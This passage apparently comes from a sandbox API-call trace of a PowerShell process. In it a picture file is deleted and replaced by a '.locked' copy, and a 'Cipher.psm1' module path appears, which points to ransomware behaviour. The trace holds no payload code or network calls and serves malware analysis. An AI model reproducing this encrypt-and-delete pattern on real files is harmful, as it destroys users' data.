lpOldMode=0x99ae4e8) returned 1 [0135.034] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.034] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.034] CoTaskMemFree (pv=0x8eb8930) [0135.035] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0135.035] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.035] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg"), fInfoLevelId=0x0, lpFileInformation=0x69f7c20 | out: lpFileInformation=0x69f7c20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19935f0, ftCreationTime.dwHighDateTime=0x1d4a37d, ftLastAccessTime.dwLowDateTime=0x219043c0, ftLastAccessTime.dwHighDateTime=0x1d4a9e3, ftLastWriteTime.dwLowDateTime=0x219043c0, ftLastWriteTime.dwHighDateTime=0x1d4a9e3, nFileSizeHigh=0x0, nFileSizeLow=0xe601)) returned 1 [0135.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.035] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 1 [0135.038] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.038] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.038] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.038] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.038] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.039] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg.locked")) returned 0x20 [0135.040] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg.locked")) returned 0x20 [0135.040] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", lpFilePart=0x0) returned 0x6e [0135.040] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", lpFilePart=0x0) returned 0x6e [0135.040] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.040] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.040] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.040] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.040] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.040] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.041] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.042] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.042] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.042] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.042] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.043] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.043] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.044] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.044] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.045] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.046] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.046] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.046] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.046] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.046] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.047] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a10bfc | out: lpFileInformation=0x6a10bfc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b60c91, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13b60c91, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13b60c91, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xe624)) returned 1 [0135.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.049] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", lpFilePart=0x0) returned 0x6e [0135.049] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.049] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.049] CloseHandle (hObject=0x858) returned 1 [0135.052] GetConsoleOutputCP () returned 0x1b5 [0135.052] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.052] GetConsoleOutputCP () returned 0x1b5 [0135.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.053] GetConsoleOutputCP () returned 0x1b5 [0135.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.053] GetConsoleOutputCP () returned 0x1b5 [0135.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.053] GetConsoleOutputCP () returned 0x1b5 [0135.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.054] GetConsoleOutputCP () returned 0x1b5 [0135.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.054] GetConsoleOutputCP () returned 0x1b5 [0135.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.054] GetConsoleOutputCP () returned 0x1b5 [0135.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.055] GetConsoleOutputCP () returned 0x1b5 [0135.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.055] GetConsoleOutputCP () returned 0x1b5 [0135.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.055] GetConsoleOutputCP () returned 0x1b5 [0135.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.055] GetConsoleOutputCP () returned 0x1b5 [0135.056] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.056] GetConsoleOutputCP () returned 0x1b5 [0135.056] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.056] GetConsoleOutputCP () returned 0x1b5 [0135.056] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.056] GetConsoleOutputCP () returned 0x1b5 [0135.057] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.057] GetConsoleOutputCP () returned 0x1b5 [0135.057] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.057] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.057] GetConsoleOutputCP () returned 0x1b5 [0135.058] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.058] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.058] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a37f08*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a37f08*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.058] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.059] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.062] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.062] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.063] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.063] EtwEventActivityIdControl (in: ControlCode=0x3, 